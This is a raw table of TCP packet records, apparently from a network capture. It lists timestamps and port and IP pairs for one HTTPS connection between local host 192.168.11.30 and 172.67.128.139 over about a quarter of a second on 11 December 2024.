Dec 11, 2024 12:14:59.945636034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.945636034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.945868969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.945873976 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.946062088 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.947088957 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.947102070 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.947263956 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.947442055 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.947446108 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.947638035 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.948879957 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.948968887 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.949064016 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.949064016 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.949244022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.949244022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.949246883 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.949484110 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.953263998 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.953278065 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.953422070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.953604937 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.953605890 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.953610897 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.953797102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.955174923 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.955187082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.955517054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.955517054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.955523968 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.955707073 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.955707073 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.956796885 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.956809044 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.957421064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.957426071 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.957601070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.957601070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.958647013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.958661079 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.958965063 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.958965063 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.958966017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.958966017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.958966017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.958976030 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.959208012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.960501909 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.960515022 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.961086988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.961086988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.961086988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.961095095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.961268902 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.961268902 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.961268902 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.962399960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.962413073 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.962740898 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.962740898 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.962740898 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.962748051 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.962904930 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.963861942 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.963875055 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.964025974 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.964202881 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.964202881 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.964202881 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.964209080 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.964397907 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.965780020 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.965790987 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.965939045 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.966118097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.966118097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.966118097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.966123104 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.966314077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.967417955 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.967428923 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.967576981 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.967576981 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.967585087 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.967758894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.967917919 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.967917919 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.969232082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.969243050 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.969383955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.969383955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.969566107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.969566107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.969566107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.969571114 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.969758987 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.971153021 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.971163988 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.971333981 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.971333981 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.971517086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.971517086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.971522093 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.971705914 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.972687960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.972698927 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.972924948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.972924948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.972930908 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.973112106 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.973156929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.974306107 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.974317074 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.974668026 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.974668026 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.974668026 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.974675894 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.974857092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.976157904 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.976167917 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.976387978 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.976392031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.976577044 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.976577044 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.977861881 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.977873087 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.978219986 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.978219986 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.978219986 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.978230000 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.978504896 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.978971958 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.978981972 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.979127884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.979127884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.979311943 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.979316950 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.979552031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.980822086 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.980833054 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.980982065 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.980982065 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.981158972 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.981158972 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.981163025 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.981353998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.981354952 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.983232975 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.983242989 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.983444929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.983452082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.983632088 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.983632088 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.984808922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.984819889 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.984967947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.984967947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.985151052 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.985155106 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.985343933 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.985343933 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.985343933 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.986733913 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.986743927 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.987091064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.987097979 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.987283945 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.987283945 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.987869024 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.987879038 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.988236904 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.988236904 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.988244057 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.988393068 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.988393068 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.989568949 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.989578962 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.989908934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.989908934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.989916086 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.990102053 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.990102053 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.990102053 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.991471052 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.991482973 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.991811991 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.991811991 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.991811991 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.991823912 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.992194891 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.993541002 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.993551016 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.993679047 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.993910074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.993910074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.993910074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.993920088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.994102001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.994613886 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.994626999 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.994940996 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.994940996 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.994950056 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.995131969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.996670961 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.996680975 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.997013092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.997013092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.997013092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.997013092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.997023106 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.997190952 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.998366117 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.998377085 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.998779058 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.998780012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.998846054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.998850107 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.999023914 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.000230074 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.000241041 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.000408888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.000408888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.000590086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.000598907 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.000777960 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.002027035 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.002038002 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.002228022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.002228022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.002228022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.002228022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.002239943 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.002412081 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.002603054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.003568888 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.003580093 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.003914118 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.003914118 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.003922939 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.004297972 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.005191088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.005201101 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.005492926 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.005492926 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.005685091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.005688906 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.005865097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.006027937 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.007186890 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.007198095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.007530928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.007530928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.007541895 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.007724047 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.007724047 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.007817030 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.009037971 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.009047985 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.009380102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.009380102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.009380102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.009380102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.009392023 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.009758949 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.010776043 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.010787010 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.010936022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.011115074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.011115074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.011123896 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.011308908 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.012217045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.012229919 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.012377024 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.012377024 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.012557983 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.012557983 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.012563944 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.012722015 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.012722015 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.014102936 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.014113903 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.014262915 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.014446974 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.014446974 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.014446974 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.014456987 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.014638901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.014842033 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.014923096 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.014967918 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.014967918 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.015016079 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.015019894 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.015202045 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.083839893 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.193994045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.194010973 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.194154024 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.194338083 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.194338083 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.194338083 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.194350004 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.194500923 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.194576025 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.195311069 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.195327044 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.195487976 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.195487976 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.195667982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.195667982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.195667982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.195676088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.195861101 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.197222948 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.197242022 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.197367907 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.197599888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.197599888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.197606087 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.197792053 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.198791027 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.198807001 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.198978901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.198978901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.199064016 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.199157953 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.199157953 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.199167013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.199347973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.199347973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.200421095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.200438023 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.200583935 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.200766087 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.200766087 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.200766087 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.200766087 CET	49832	443	192.168.11.30	172.67.128.139
